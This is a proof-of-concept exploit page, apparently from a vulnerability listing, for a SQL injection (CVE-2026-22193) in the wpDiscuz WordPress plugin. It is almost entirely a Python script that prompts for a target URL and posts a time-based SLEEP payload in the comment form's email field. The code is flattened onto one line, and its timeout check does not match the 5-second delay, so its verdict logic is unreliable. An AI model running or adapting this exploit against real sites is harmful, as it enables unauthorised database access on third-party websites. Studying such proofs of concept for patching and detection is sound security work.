CVE-2026-22193 wpDiscuz getAllSubscriptions() SQL注入漏洞

#!/usr/bin/env python3 # CVE-2026-22193 wpDiscuz SQL Injection PoC # Target: wpDiscuz < 7.6.47 import requests import sys target = input("Enter target URL: ").rstrip('/') # SQL Injection payload in email parameter # This payload exploits the lack of quote escaping in getAllSubscriptions() sql_payload = "[email protected]' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" # Endpoint typically used for subscription functionality endpoint = f"{target}/wp-comments-post.php" data = { "comment": "Test comment", "author": "attacker", "email": sql_payload, # Vulnerable parameter "url": "http://evil.com", "wpdiscuz_subscription": "1" # Trigger subscription } print(f"[*] Sending payload to {endpoint}") print(f"[*] Payload: {sql_payload}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Request completed with status code: {response.status_code}") print("[*] Check if SLEEP() was executed (5 second delay indicates vulnerability)") except requests.exceptions.Timeout: print("[+] VULNERABLE! Request timed out after 10 seconds (SQL injection confirmed)") except Exception as e: print(f"[-] Error: {e}")